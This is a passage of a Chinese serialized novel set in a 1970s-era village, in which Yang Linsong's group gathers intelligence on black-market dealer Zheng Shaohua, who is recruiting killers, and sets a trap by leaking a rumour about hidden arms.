杨林松目光落在陈远山手上,不紧不慢,“但雪花膏味儿哪来的?”
陈远山愣了一下,随即从怀里掏出个铁皮盒子。
盒子小得可怜,漆皮磨掉大半,盖子合不严实,里头还剩薄薄一层膏体,干得快要结壳了。
“两年前去县里买的。”
他把盒子搁在膝盖上,语气平淡,“风餐露宿的日子过久了,脸上手上皴得厉害。冬天一裂口子就往外渗血,买了这玩意儿抹一抹,能好受点。”
顿了顿,“那天晚上走得急,写纸条的时候手上沾着雪花膏,蹭上去的。”
杨林松点了下头,没再追这茬儿。
他又咬了口窝头,看着像是随口一问,但嗓音比刚才沉了一截:
“还有一事儿。”
陈远山的手停住了。
“那天晚上王大炮提你的事,是在这大队部的屋里头。”
杨林松偏过头,盯着陈远山的眼睛,“关着门说的。”
“你咋知道的?”
院子里又安静了。
这一回,连阿三嚼窝头的腮帮子都僵了,半拉窝头含在嘴里,不敢动弹。
陈远山把手里的碗搁下,碗沿磕在桌边,“咚”的一声。
过了两三秒,他开口了,嗓音干巴巴的:
“我八年没死,靠的就是这个。”
他吸了口气,胸腔里的空气进进出出,“不该露头的时候,趴在雪地里冻一宿,也不往亮处凑。”
目光往下沉了沉,“那天本来想找你单独碰个头,摸到大队部后墙根底下,听见屋里有人说话。”
舔了舔干裂的嘴唇,“我没敢动,就那么趴着,整整听了半个多钟头。”
说到这儿,补了一句,声音很轻:
“零下三十度。”
王大炮嘴里的窝头差点呛出来。
他拍了拍胸口,龇牙咧嘴缓了两口气:
“我说老陈,你这本事不当侦察兵可惜了!零下三十度趴半个钟头,换我膝盖都得冻成冰
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棍儿!”
陈远山嘴角扯了一下,扯上去,又耷拉下来了:
“当侦察兵那年月早过去了。”
低下头,盯着缸子里的热水,“现在就是个躲在阴沟里的老鼠。”
杨林松看了他一眼:
“能活到现在的,都是人精。”
就这一句,声音不重,脸上没多余表情,跟夸人没关系,跟安慰也没关系,就是一句实打实的话。
陈远山低下头,盯着碗里的水看了好几秒。
热气往上冒,模糊了他半张脸。
嘴唇动了两下,啥也没说出来,但那双手,不抖了。
沈雨溪在旁边看着,没吭声,把咸菜碟子往陈远山那边推了推。
------
吃完饭,碗筷归拢到盆里,桌上擦干净。
周铁山站起来拍了拍裤腿上的灰:
“明天我就去查,查到他现在的职务和落脚点,咱这盘棋就活了一半。”
杨林松把最后一口窝头塞嘴里,嚼完咽下去:
“小心点。”
周铁山拍了拍胸口的军装口袋:
“我有分寸。”
众人散了。
周铁山在前院,陈远山进了后院杂物间,老刘头和阿三一人守前门,一人守后门,裹着军大衣坐在椅子上,缩着脖子猫着。
王大炮被杨林松押着回了值班室。
走到门口,王大炮扭过脖子,骂骂咧咧:
“老子又不是三岁小孩儿,用得着你管?”
杨林松没搭理,伸手把门从外头带上了。
------
风把檐下的冰溜子吹得叮叮当当响。
杨林松一个人站在自家土坯房前,抬起头。
正月里的夜空干净得很,星星一颗颗钉在天顶上,冷得发亮。
他站了一会儿。
老刘头明天往鬼市去,周铁山明天往公社去,两条线同时铺开。
陈远山留在大队部,王大炮守村子,阿三待命。
每个人有每个人的位置,每个人有每个人的活儿。
他摸了摸怀里的东西——日记本、遗书、勘探日志,三样东西叠在一起,硌得胸口疼。
三十一年的账,才翻到第一页。
杨林松转身推门进屋。
门板合上,屋里黑漆漆的,他没点灯,摸着炕沿坐下来,两手撑在膝盖上,后背靠着土墙。
脑子里把明天的事过了一遍,又过了一遍——每个人的路线,每个人可能碰上的麻烦,每个人出了岔子之后的退路,一条一条排成列。
都排完了,还有一个人,他没算进去。
沈雨溪。
她的信还在路上。
这儿到京城,京城到这儿,一去一回,快的话也得一个月。
一个月。
杨林松躺下来,脑袋侧着搁在枕头上,眼睛盯在墙上。
墙上挂着他那把紫杉木大弓。
外面起风了,窗框子被吹得哐哐响,一下一下的。
他闭上眼,呼吸慢慢匀下来。
一个月。
够了。
第124章 郑少华的刀,又磨上了
天还没亮。
大队部后院,杨林松靠着门框,瞅老刘头往那辆锈壳三轮车上绑工具箱。
绳子勒了一圈又一圈。
老刘头拽了两下,确认不晃荡,才直起腰来。
油乎乎的旧棉袄,脖子上搭一条脏毛巾。
跟往常去鬼市摆摊修东西的行头,一模一样。
杨林松递过去两包烟。
老刘头接了,揣怀里,啥也没说。
跨上三轮车,脚一蹬,链条咯吱咯吱叫唤两声,人就钻进黑地里了。
杨林松扭头瞅前院。
周铁山已经换了身干净军装,风纪扣扣得板板正正,帽檐压得老低。
两人在院子里碰了个面。
谁也没吱声。
周铁山拍了拍胸口那个笔记本,转身出了院门。
靴底踩在冻土上,一步一声脆响,越走越远。
阿三拐着腿小跑过来:“杨爷,要不我送周副部长一趟?”
“他有车。”杨林松摇头,“你留下。”
他回头朝后院杂物间瞅了一眼。
门关着,里头没动静。
陈远山还在睡。
杨林松把两手揣进兜里,在原地站了一会儿。
天边连个亮缝都没有,黑得结结实实。
两条线同时放出去了,就看哪条先咬上鱼。
------
鬼市。
正月初五,年后头一个大集。
人比平时多了一倍都不止。
摊子从窑洞口一路排到外头空地上,烟雾缭绕,人声嗡嗡的,跟捅了马蜂窝似的。
脚底下全是踩烂的雪泥,黑的白的搅一块儿,踩上去咕叽咕叽直冒水。
空气里各种怪味掺一块儿,闻着人晕乎。
皮帽子、狗皮褥子、缺角的搪瓷盆、来路不明的布匹……啥都有人卖,啥都有人买。
老刘头把三轮车停在老位置,支起工具箱,摆出几把锉刀和锤子,一副修锅补盆的老样子。
点上一根烟。
眯着眼,慢慢扫了一圈。
鬼市的规矩还是那套。
买的卖的各怀鬼胎,谁也不多瞅谁一眼。
嘴上谈价钱,心里盘算的全是另一本账。
老刘头一口一口抽着烟,耳朵竖得老高,眼珠子在帽檐底下转。
来来往往的人,他一张脸一张脸地过。
有几个是老面孔,有几个是生脸。
生脸里头,有两个穿黑棉袄的壮汉。
走路的时候,两手不揣兜,垂在身子两边,五指微微张开。
步子不快不慢,肩膀纹丝不晃。
脚落地时,节奏匀实,带着一股碾过去的劲儿。
这种走法,庄稼汉走不出来,城里干部也走不出来。
老刘头多瞅了一眼。
心里记了一笔:这两人腰上鼓着,不是揣了家伙,就是别了匕首。
面上该干啥干啥,他把烟灰弹在鞋帮子上。
------
一只手拍在老刘头肩膀上。
劲儿还不小。
老刘头脖子一僵。
右手已经摸进工具箱,指尖碰到锤子柄,五指攥死。
回头一瞅。
黑皮。
鬼市那个地痞头子,站在他身后。
头发比上回见长了些,不再是秃瓢了。
肋骨上的伤也差不多好利索,站得直溜。
嘴里嗑着瓜子,脸上挂着笑。
不是以前那种横肉堆出来的狠笑。
是赔笑。
“老刘师傅,好久不见啊。”
老刘头心里咯噔一下。
这货从来没管我叫过老刘师傅,今儿这是转了性了?
老刘头面色不改,手从工具箱里抽了出来。
他懒洋洋地说:“黑皮兄弟,大过年的,找我修锅啊?”
黑皮往旁边挪了两步,蹲下来,脑袋凑过去。
嘴唇贴着老刘头的耳根子,压着嗓子:
“老刘师傅,我又不是瞎子。上回在巷子里,我瞅得真真儿的。您跟杨爷,是一路的。”
老刘头眼皮跳了一下。
黑皮赶忙摆手,声音都变调了:“您放心!打死我也不敢往外嚷嚷半个字儿。杨爷那脾气……”
他顿了一下,不自觉瞅了瞅自己的胳膊,又道:
“他要知道我多嘴,我这条胳膊还保不保得住都两说。”
老刘头盯着他看了一会儿。
没吭声。
黑皮又把脑袋凑近半寸,嗓门压到最低:“老刘师傅,您今儿来鬼市……不光是为了摆摊的吧?”
------
老刘头把烟头碾在鞋底下。
碾得慢,碾得实。
这小子话都挑明了,再装下去反倒露怯。
他没认,也没否认。
就一句话扔过去:
“你能帮上啥忙?”
黑皮嘿嘿一笑,露出一嘴焦黄的牙:“您甭瞧不上我。这鬼市里的风,哪阵从哪头刮过来的,没人比我门儿清。”
他伸出三根手指头,一根一根掰着数:
“消息,路子,人头。”
“您想打听啥,我给您引线搭桥。”
老刘头沉默几秒,咧了下嘴角:“行。”
他从怀里掏出一包烟,朝黑皮扔过去。
“我想打听一个人。省城的,姓郑,做买卖的。”
黑皮接住烟,眼珠子转了两转。
没马上接话。
他站起身,往四周慢慢扫了一圈。
嘴里的瓜子壳往地上一吐,声音沉下来:
“跟我走。”
------
黑皮领着老刘头绕过三排摊子,钻进窑洞深处一个暗角。
角落里点着一盏煤油灯,火苗子豆粒大,把几张脸照得忽明忽暗。
蹲着两个人,一老一少。
老的那个戴顶破毡帽,手里搓着一串核桃,皮肤比黑皮还黑,一双眼珠子缩在眼窝深处。
少的那个瘦高个儿,嘴唇上留一撮鼠须胡子,眼珠子贼亮。
黑皮蹲下来,贴着那老头的耳朵咬了几句。
老头眼睛往老刘头身上扫了一下。
抬手,伸出两根手指。
黑皮回头瞅了老刘头一眼。
老刘头也蹲下,从兜里掏出两张大团结。
杨林松昨晚塞给他的。
钱拍在老头手心里,“啪”一声脆响。
钱一到手,嘴就开了。
“姓郑的?省城那个郑少华?”
破毡帽把核桃往兜里一揣,压着嗓子说:
“省城火车站那片儿,挂了个牌子叫北方物资供应站。名头是国营的,公家的章、公家的抬头,可里头从上到下全是他的人。”
老刘头没插嘴,耳朵竖得笔直。
“专倒卖工业物资。钢材、铜料、机床零件、电缆,紧俏货他全沾,走的量还
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不小。”
破毡帽嘬了嘬牙花子。
“去年下半年,有人亲眼瞅见他的车队从边境那边拉了两车皮的货回来。两车皮!车皮都是他老子批的条子,铁路上的人见了章就放行。搁这年头,那得多大的路子?”
鼠须胡子在旁边补了一嘴:
“不光倒物资。听说他也做皮子和山货的生意,但那头利薄,主要是养人用的。给底下人开工资、打点关系。”
他嗓音又沉了半截。
“真正来大钱的,是工业物资那一摊子。”
老刘头开口了:“他的钱从哪来?”
破毡帽嘿了一声,那声嘿里头全是老油条味儿。
“他老子是省革委会的副主任,这还用问?批条子、盖章、打招呼。”
他磕了磕鞋帮子上的泥。
“他要啥有啥,谁敢查他?”
老刘头点了下头,脸上啥表情也没有。
又问了一句:“最近有啥动静没?”
破毡帽跟鼠须胡子对视了一眼。
这一眼不长,但老刘头全看在眼里。
有犹豫。
鼠须胡子嗓子又往下沉了半截,沉到底了。
“前阵子听说……他在招人。”
老刘头眉毛动了一根。
“招啥人?”
鼠须胡子舔了舔嘴唇,声音压得只剩气声:
“不是招搬货的,也不是招看场子的,是招……”
他伸出右手,在空中比画了一下。
食指侧面从自己脖子前面横着划了一下。
“能见血的。”
安静了一瞬。
鼠须胡子咽了口唾沫,接着往下说:
“给的价码比市面上高出一大截。据说一个月两百块打底,管吃管住,干完活儿另算红包。”
“两百块?”黑皮蹲在旁边,倒吸一口凉气,“钢铁厂八级工一个月才挣七十多。这他妈不是招保镖,这是招杀手。”
老刘头脸上还是啥表情都没有。
但搁在膝盖上的右手,五根手指一根一根攥紧了。
杨林松说过的那句话,在他耳朵根子底下又响了一遍:
“一条狗死了,主人还会再养一条。”
果然。
他站起身,拍了拍裤腿。
从怀里掏出两包烟丝,一包扔给破毡帽,一包扔给鼠须胡子。
“今天的话,烂在肚子里。”
说完,他瞅了黑皮一眼。
黑皮脑袋连点:“老刘师傅您放心,我这嘴巴焊上了,半个字儿漏不出去!”
老刘头没再说话。
走出两步,头也没回,冲黑皮摆了摆手。
拎起工具箱,蹬上三轮车。
车轮碾过雪泥,咯吱咯吱叫唤。
他脑子里把刚才的话过了一遍:
国营物资供应站的壳子。
工业物资。
边境走货。
两车皮。
招杀手。
两百块一个月。
管吃管住,事成另算。
出得起这个价钱的人,要么是疯了,要么是把棺材本都押上了。
不管是哪一种。
都他娘的不好对付。
老刘头把车蹬得更快了些。
链条咯吱咯吱叫得更响,三轮车在土路上颠出一溜歪歪扭扭的车辙印。
得赶紧回去。
杨爷在等着呢。
也不知周铁山那边,摸着啥没有。
第125章 口袋已撑开,等狗来
日头偏西。
杨林松坐在大队部门槛上,手里拿根枯树枝在地上划拉。
一笔一笔的,谁也瞅不出画的是啥。
阿三蹲在旁边,时不时往村口瞄一眼。
远处传来引擎声,闷闷的。
阿三单脚用力,蹭地站起来:“回来了!”
吉普车裹着一身雪泥停在大队部门口。
周铁山推门下车,脸色难看。
军帽摘下来攥在手里,帽檐都捏变了形。
杨林松站起身。
没急着问。
他把周铁山让进屋。
炉子上水壶正烧着,咕嘟咕嘟冒泡。
倒了两碗热水,一碗推过去,一碗自己端着。
周铁山接过来没喝。
就那么捧着,十根手指头冻得通红,在碗壁上来回蹭。
陈远山从后院过来,靠着门框站着,没往里走。
王大炮也凑过来,坐在炉子边,嘴里叼个烟头。
周铁山开口了。
声音闷,隔着一层棉被似的。
“李国华这个人,查到了。”
碗往桌上一搁。
“1968年,从地质队调去省革委会下属的物资调配办公室,职务是技术指导。”
顿了顿。
“1972年之后,档案断了。”
他盯着碗里那圈还没散干净的热气。
“没有调令,没有处分,没有病退,没有死亡记录。什么都没有。”
“就跟这个人从来没存在过一样。”
他抬起头,看着杨林松。
“我托档案室的老李私底下打听了一嘴。人家说,这种情况要么是死了,要么换了身份,要么……”
最后几个字从嗓子眼挤出来。
“被人藏起来了。”
杨林松没说话。
右手端着碗,食指在碗沿上慢慢敲。
一下。
两下。
三下。
周铁山又补了一句:“还有件事。”
声音低得只要有人插句嘴就听不见了。
“我今天去查档,感觉不太对。档案室那个老李,平时跟我关系不赖,见面先递烟的交情。”
他拧了下眉心。
“今天说话吞吞吐吐的,问一句答半句,眼珠子老往门口瞟。”
“走的时候我回了一次头。”
“他在打电话。”
杨林松敲碗沿的手停了。
“我没听见他说啥。”周铁山说,“但他那个表情,总有些不对劲儿。”
屋里安静了几秒。
炉膛里噼里啪啦,蹦出两颗火星子。
王大炮先绷不住了。
嘴里早就续上了烟。
“你是说……有人盯着你?”
周铁山没点头,也没摇头。
端起碗,把水一口干了。
碗底往桌上一磕,咚的一声。
“我不敢打包票。但这条线,怕是已经有人先动过了。”
杨林松放下碗,声音平得出奇。
“你回来的路上,有没有人跟着?”
周铁山愣了一下。
脸色更难看了。
嘴角肌肉抽了一下。
“路上太顺了。”
他声音发涩。
“我都没往那方面想。”
太顺了。
这仨字比有人跟踪还让人后脊梁发凉。
有人跟你,你至少知道危险在哪。
太顺了,说明人家压根不怕你查,或者压根不需要跟。
因为你去的地方、问的人、查的东西,人家早就一清二楚。
杨林松没接话。
他站起身,走到窗边,手指挑开半指宽的窗缝往外看。
院子里空荡荡的。老刘头还没回来。
村口的路上只有风裹着雪沫子跑,看不见人影,也看不见车辙。
安静。
太安静了。
他转过身,看着周铁山。
“两条线都断了。李国华那边,被人藏起来了。老刘头那边,还不知道能摸出啥来。”
周铁山的拳头砸在膝盖上。
“那郑少华那边呢?就这么干等着?”
“不等。”
杨林松走到桌边,把碗往旁边一推。
话没说完。
院子里传来咯吱咯吱的动静。
链条绞着锈铁的声。
阿三从门外探进半个脑袋:“老刘头回来了!”
三轮车歪歪扭扭停在院里。
老刘头跳下来,脚没站稳趔趄了一下。
工具箱拎在手里,大步进屋。
脸色比周铁山还难看。
进门第一句话:
“郑少华那边,动静不小。”
工具箱往地上一撂,蹲在炉子跟前搓手。
十根手指冻得跟胡萝卜似的,搓出来全是皮屑。
也没人催他。
他自己缓了口气,三两句把鬼市摸来的底儿一股脑倒出来。
听完,王大炮一巴掌拍在大腿上,板凳腿在地上刮了一声,刺得人牙根发酸。
“他妈的!这是要组一支队伍?!”
杨林松听完。
脸上没什么表情。
但搁在桌面上的右手,收紧了。
指关节咯吱响了两声。
他没开口,脑子里的线在串。
李国华,1972年档案断了,被人藏起来了。
周铁山去查档,档案室的人当场打电话。
郑少华在招能见血的人,两百块一个月。
一件一件摆出来,看着八竿子打不着。
可拿线一穿。
全在一根绳上。
有人在盯他们。
而且盯了不止一天。
周铁山去公社动了档案,那头就有人知道了。
老刘头去鬼市摸消息,暂时还没事。
杨林松开口了。
“老刘头。”
老刘头抬头。
“你今天在鬼市,有没有瞅见生面孔?可疑的人?”
老刘头愣了一下。
脸色变了。
是后怕。
他脑子里把鬼市里那两个穿黑棉袄的壮汉飞速过了一遍。
步态、站位、肩膀纹丝不晃的架势……
越过越心凉。
“有,俩人。”老刘头声音沉下来,“我当时没往那方面想……”
“那种走法的人,是随时准备出手的人。”
杨林松声音不急不慢。
老刘头后背上冷汗唰地下来了。
这要是他们冲着自己来的,今天这条老命兴许就交代在废砖窑厂里了。
杨林松看着他:“这几天别出门了,在村里待着。”
然后转向周铁山。
“周叔,你也一样。档案的事先放一放,别再去查了。”
周铁山张了张嘴,刚要说话。
杨林松没给他开口的机会:“他们既然盯着你,你再动就是往枪口上撞。”<
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br>周铁山把烟头按灭在炉沿上。
按得太狠,指甲盖都白了。
“那就这么窝着?”
“不是窝着。”
杨林松站起身,又走到窗边。
外头天色暗得快,山影一截一截往上压。
“是换一种法子。”
他转过身,目光看过屋里每一张脸。
周铁山的。
老刘头的。
王大炮的。
陈远山的。
每张脸上的褶子纹路不一样,但眼睛里的东西是一样的。
都在等他的下一句话。
“他在招杀手,就一定会动。”
杨林松走回桌边,食指在桌面上敲了一下。
“他想要那批军火,等不了太久。”
再敲一下。
“老刘头带回的消息,加上周叔查到的线索,说明一件事。”
第三下。
“郑少华急了。”
屋里的空气紧了一截。
“急了就会犯蠢,犯蠢了,就逮得着。”
陈远山靠在门框上,从头到尾没吭过声。
这时候他开口了。
嗓音干涩,就一句话。
“你打算在哪儿收网?”
杨林松说:“熊神洞。”
所有人都看着他。
“郑少华想要的就是那批军火。那就给他递个信儿,说军火马上要上交了,让部队拉走。”
他停了半拍。
“他听见这个消息,坐不住。只要他来,就是收网的时候。”
王大炮一拍大腿。
这回拍得板凳差点翻了,四条腿三条离了地。
“这招叫引蛇出洞!”
杨林松看了他一眼。
点了下头,又摇了一下。
“不是引蛇出洞。”
“蛇还知道挑洞钻。”
“狗不挑。”
“闻到肉味就往里拱。”
他嘴角动了一下,不算笑。
“这叫,关门等狗。”
屋里安静了一瞬。
王大炮嘴里的烟快烧到嘴唇。
周铁山先回过味儿来:“放风的事,谁去?”
杨林松看向老刘头。
老刘头没等他开口,就点了头。
“我去。鬼市那地方,消息跑得比兔子还快。我往那儿漏半句,不出三天,省城就能听见响。”
杨林松说:“小心点。这回再去,不一定是你在打听人了。”
老刘头咧嘴笑了一下,豁牙漏着冷风,呼呼的。
“杨爷,甩尾巴这活儿,我老刘头打娘胎里就会。”
杨林松没笑。
盯了老刘头两秒。
点了下头。
------
众人散了。
周铁山在前院值班室将就一宿。
陈远山回后院杂物间,进门之前在门口站了三秒,先往左右两边各扫了一眼,才弯腰钻进去。
八年的林子,把一个搞技术的老实人,硬生生逼成了耗子。
王大炮这回自觉地进了值班室,杨林松没再赶。
办公室空了。
杨林松一个人站在窗边。
天黑透了。
黑瞎子岭的轮廓压在天边,分不清是在睡,还是在等。
他摸了摸怀里的东西。
依旧沉甸甸的,压在心口窝。
口袋已经撑开了。
肉味也放出去了。
狗鼻子灵。
闻到了,就会来。
第126章 风放出去了,鱼咬钩了
第二天一早,老刘头又蹬着那辆破三轮出门了。
链条咯吱咯吱响,声音拐过村口,扎进晨雾里没了影。
杨林松站在大队部院门口,两手揣进大衣兜,盯着那团白雾瞅。
周铁山披着军大衣从值班室出来,往他旁边一站。
两人谁也没吱声。
过了老半天,周铁山开口:“这回去鬼市,跟上次可不一样了。”
杨林松点点头:“我知道。”
上次是摸消息。
这次是送消息。
摸消息的人,旁人未必上心。
送消息的人,有心人铁定盯着。
周铁山把烟叼在嘴上,没点着。
嘴唇抿了抿,烟头在嘴里上下颠了两下。
“要不叫阿三远远跟着?”
“不用。”杨林松转身往屋里走,“老刘头甩尾巴的本事,比阿三强十条街都不止。”
门板合上。
周铁山在院子里站了一会儿,把没点的烟揣回兜里。
------
鬼市。
正月初六,人比昨天少了一截,可该有的摊子一个没少。
老刘头把三轮车停在老位置,支起工具箱,锉刀锤子一溜摆开。
点上一根烟。
姿势跟昨天一模一样。
旁边卖旧衣裳的老太太凑过来唠嗑,说孙子闹肚子、猪油票没地儿换。
老刘头有一搭没一搭地应着,嗯嗯啊啊的。
人来人往,脚底下踩着雪泥,咕叽咕叽的声儿没断过。
等老太太被别的摊主拉走,老刘头左右扫了一眼。
没啥不对劲的。
他嗓门提了半截,像是自言自语,又像是跟旁人闲扯:
“听说黑瞎子岭那边要起一批货,部队的人要来拉走了。”
说完,低头接着摆弄锉刀,眼皮都没抬。
锉刀蹭着铁片,嗤嗤的声响盖过了四周的嘈杂。
可耳朵竖得笔直,地上掉根针都能听见。
两个摊位外,有人脚步顿了一下。
老刘头没抬头。
手上的活稳稳当当,连节奏都没乱半分。
------
消息在鬼市里传得比风还快。
老刘头抽完两根烟的工夫,就有三拨人从他摊前绕过去了。
第一拨是两个收山货的贩子,走过去的时候脑袋往这边歪了一下,脚步放慢,耳朵支棱着。
第二拨是个卖狗皮帽子的瘦老头,特意蹲到摊前,装模作样问锉刀磨不磨剪子,眼珠子一个劲往他脸上瞟。
第三拨,老刘头没看清脸,只瞅见一双黑棉鞋从摊前过去,步子不快不慢,走了两步,停了一下,又接着走。
停的那一下,时间不长。
可够了。
老刘头装作没看见,手上的活没停。
快到晌午的时候,黑皮又凑过来了。
这回没拍肩膀,直接蹲在工具箱旁边,从兜里掏出一把瓜子,嗑了两颗,压着嗓子:
“老刘师傅,您刚才那话,是真的假的?”
老刘头瞥了他一眼:“你管它真假,传出去就中了。”
黑皮愣了一下,嘴里的瓜子壳含着没吐,腮帮子鼓了鼓。
随即嘿嘿笑了两声,站起来拍拍屁股,没再多问,溜了。
老刘头低头接着锉铁片。
嘴角动了一下,算不上笑。
线放出去了。
鱼咬不咬钩,全看它自己。
------
收摊的时候,老刘头发现有人盯他。
不是明晃晃地瞅,是藏在人堆里、隔几秒扫一眼的那种。
一个穿深灰棉袄的中年人,站在三排开外的旧铁器摊前,手里翻着一把破铁壶。
翻了有半袋烟的工夫,愣是没放下。
眼珠子隔三四秒就往老刘头这边溜一下。
谁买壶能磨叽这么久?
老刘头心里记了一笔。
面上不动声色,慢悠悠把工具箱绑到三轮车上。
绳子勒了两圈,拽了拽,松紧正好。
蹬车往外走。
链条响,车轮碾着雪泥,咯吱咯吱的。
跟平时收摊一模一样的节奏。
骑出鬼市二里地,拐上了回红星大队的土路。
骑了一截,他忽然把车推到路边,钻进一片枯树林子。
蹲下。
后背抵着一棵粗白桦,两手揣进袖筒,一动不动。
右手在袖筒里摸到了锤子柄,攥了一下,又松开。
用不着。
先看看情况再说。
十分钟。
一个人影从路上过去了。
脚步飞快,脑袋左右乱转,四处张望。
深灰棉袄。
就是那个翻破铁壶翻半天的家伙。
老刘头等他走出去百十来步,身影缩成个小黑点,才从林子里钻出来。
拍拍裤腿上的雪沫子,推着三轮车换了条小路,拐进沟里,绕了个大弯往回蹬。
链条叫唤得更响了。
比来时多绕了四里地。
可老刘头心里踏实了。
跟上来的是一个。
不知道后头还有没有。
但至少说明一件事:
消息,有人接了。
------
回到大队部时,天已经黑透了。
老刘头把今天的事一五一十全倒了出来。
放风的话咋说的,三拨绕摊的人啥反应,黑皮那小子啥表情,收摊后深灰棉袄咋跟的、咋甩的。
说到甩尾那段,王大炮在旁边骂了一句:“这帮龟孙还真当自己是猎狗呢!”
杨林松听完,脸上没啥表情。
搁在桌上的右手攥了一下,指节咯吱响了两声。
“消息放出去了,人也跟上你了。”
他看着老刘头,“接下来几天,你哪儿都别去,就在村里待着。”
老刘头点点头,没多问。
------
当天晚上,轮到阿三守夜。
他裹着军大衣缩在村口岗亭里。
困意一阵一阵往上涌,脑袋一点一点往下栽。
后半夜,一阵动静把他惊醒了。
窸窸窣窣的。
踩雪的声儿。
很轻,断断续续的。
阿三攥住手电筒,拇指顶在开关上,屏住呼吸。
听了十几秒。
声儿没了。
他把手电打亮,光束刺出去,扫了一圈。
啥也没有。
只有雪地上多了几行脚印。
从村外一直伸到岗亭旁边,走了个弧形,又折回去了。
阿三后背的汗刷地就下来了。
他腾地站起来,攥着电筒就要往外冲。
迈出半步,腿拐了一下。
腿伤还没好利索,膝盖一软,差点栽个跟头。
他扶着岗亭站稳,往外走了几步。
张望了一番。
没见着人影。
阿三把手电光打在那些脚印上,来回照了好几遍。
脖子后面那股凉意,跟风一点关系没有。
------
第二天一早,阿三把这事告诉了杨林松。
杨林松没吭声,拉着他到村口瞅了一圈。
脚印很清晰。
解放鞋的印子,尺码不小。
前脚掌压得深,后跟浅,步幅比普通人大半拃。
这不是走路。
是猫步。
重心始终压在前脚掌上,随时能起步、能变向、能跑。
周铁山蹲下来瞅了半天,指甲刮了刮鞋印的边儿。
“这人是在踩点。”
杨林松没接话,顺着脚印延伸的方向瞅过去。
黑瞎子岭的方向。
他蹲下来,食指伸进一个脚印里,按了按底部。
雪壳子硬了,可没冻实。
后半夜踩的,不
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超过四个钟头。
他又扫了一眼脚印的间距。
均匀。
每一步的间距,误差不超过两指宽。
杨林松的眼睛眯了一下。
普通人走路,步幅会随地形和情绪变。
只有受过训的人,才能在黑灯瞎火的雪地里,保持这么稳。
他站起身,拍拍手上的雪沫子。
------
大队部。门关上。
杨林松把昨晚的事说了一遍。
屋里安静了几秒。
王大炮先绷不住了,嗓门压着火气:“狗鼻子够灵的!这么快就摸到门口来了!”
杨林松说:“不是摸到门口,是在试探。”
他在桌面上敲了两下。
“他们想知道,咱到底有多少人,晚上有没有人守着,啥时候能摸进来。”
周铁山问:“那咋办?”
杨林松看了他一眼:“让他们试。”
王大炮差点从板凳上蹦起来,嗓门拔高了两截:“让他们试?!你让耗子试猫的底线?!”
“白天一切照常,该干啥干啥。”
杨林松声音不高,一个字一个字往外蹦。
“晚上加巡逻,可不能让人看出来。让来的人觉得村里防备松得很,松到随时能摸进来。”
阿三在旁边挠了挠脑袋:“那他们要是真摸进来呢?”
杨林松说:“摸进来最好。”
顿了一下。
“正好逮个活的。”
屋里又安静了两秒。
这两秒里,炉膛里的松木塌了一截,火光矮下去又窜上来,把每个人在墙上投的影子拉长了一截。
王大炮嘴里的烟头烫到手指,他嘶了一声甩掉,嘟囔了句:“行,你说了算。老子就不信这帮孙子比林子里的土匪还硬。”
“这两天,任何人出村都得跟我打招呼。”杨林松扫了一圈,“老刘头,尤其是你,不准动。”
老刘头点点头。
“还有一件事。”
杨林松走到桌边,食指往脚印延伸的方向点了一下。
“这人来了又走,弧形绕岗亭,然后折回去。”
他比画了一下路线。
“可脚印不是一条线,是两条。”
周铁山一愣:“两条?”
“来的时候是一条。走的时候,多了半步。”
杨林松比了个细微的偏移,“第二条印子压在第一条旁边,间距三指宽,步幅一样,可鞋底纹路不一样。”
屋里的空气一下子冷了。
“两个人。”老刘头的声音沉了下来。
杨林松点点头。
“一个踩点,一个望风。来的不是散兵,是搭伙干的。”
王大炮的拳头砸在膝盖上,板凳腿在地上刮出一声刺耳的响。
“他妈的,这帮孙子是成建制来的?!”
杨林松走到窗边,手指挑开一条缝往外瞅。
院子里空荡荡的。
村口的路上看不见人影,也看不见车辙。
太安静了。
他转过身,看着屋里每一张脸。
“口袋撑开了,肉味也放出去了。”
“现在就看,来的是几条狗,够不够咱们一锅炖的。”
众人散了。
------
杨林松一个人站在院子里。
铅灰色的云压下来,一层叠一层。
又要下雪了。
他摸了摸怀里的日记本,还是硬邦邦的。
三十一年。
从1945年到现在。
从他爹到他。
从一份被压下去的情报,到一座埋着军火和白骨的洞。
这盘棋,该收了。
他站了一会儿,转身进屋。
门外,雪开始下了。
不是昨天那种细雪。
是一片一片的雪片子,砸在地上都出声。
看来,老天爷也等不及了。
第127章 今晚就会来
雪下了整整一宿。
天亮的时候,杨林松一推门,院子里积了小半尺厚的雪。
往村口方向瞅过去,干干净净,一个脚印都没有。
昨夜太平。
可杨林松心里门儿清:越太平,越不对劲。
这种安静不是没事儿,是憋着坏呢。
大队部屋里挤了一圈人。
炉膛里松木烧得旺,噼里啪啦炸着响,火光把每张脸烤得泛红。
周铁山把军帽搁膝盖上,拇指来回搓着帽檐,搓了两下开口:
“接下来咋布防,得定个章程。林松,你说。”
杨林松蹲在炉子边,拿火钳拨了拨炭火,没抬头。
“白天一切照常。巡逻的频次暗里加一倍,但人不能多,路线不能固定,更不能让外人瞅出猫腻。”
他把火钳插回炉膛,站起身。
“面上越松越好,松到他们觉得这村子夜里连条狗都不拴。”
周铁山盯着他瞅了两秒,点了头:“行,听你的。”
王大炮在旁边啃冻窝头,嘴里含糊不清补了一句:
“那夜里呢?总不能让社员满村溜达,给人送菜刀吧?”
杨林松瞅了他一眼,低头接着拨弄炭火:
“从今晚起,全村夜里不准单独出门。不管谁家的,犯了规矩,直接绑了关柴房。”
王大炮把嘴里的窝头咽下去,一拍大腿:
“这话我去传!谁不听老子的,先尝尝麻绳的滋味!”
话音刚落。
门口的棉帘子被人一把掀开,冷风灌进来,炉火晃了一下。
陈远山大步跨进门槛。
身上裹着一件不知从哪儿翻出来的旧军大衣,袖口长出一大截,手指头全缩在里头。
他没坐。
站在门边,嗓门比平时高了半截:
“杨林松。”
杨林松抬起头,立马又低了下去。
陈远山胸口起伏了两下。
“我在山里窝了八年。”
他的声音带着颤,压了太久的火气往外涌。
“整整八年,老子跟耗子似的钻来钻去。冬天冻得啃树皮,夏天蚊虫咬得浑身烂。”
他往前迈一步,伸出右手,五指张开冲着杨林松:
“今晚给我一把枪。”
“前院也好,村口也罢,哪怕让我蹲在柴火垛后头,也比缩在杂物间里当活死人强!”
屋里一下子静了。
老刘头手里的烟停在嘴边,没叼上去。
阿三的目光从陈远山身上弹到杨林松脸上,又弹回去。
杨林松头也没抬。
“不行。”
两个字,硬邦邦的。
陈远山愣住了,嘴张着,没来得及出声。
杨林松这才抬眼瞅他:
“陈叔,你在地质队干了多少年?队里多少人认识你这张脸?”
陈远山喉结滚了一下。
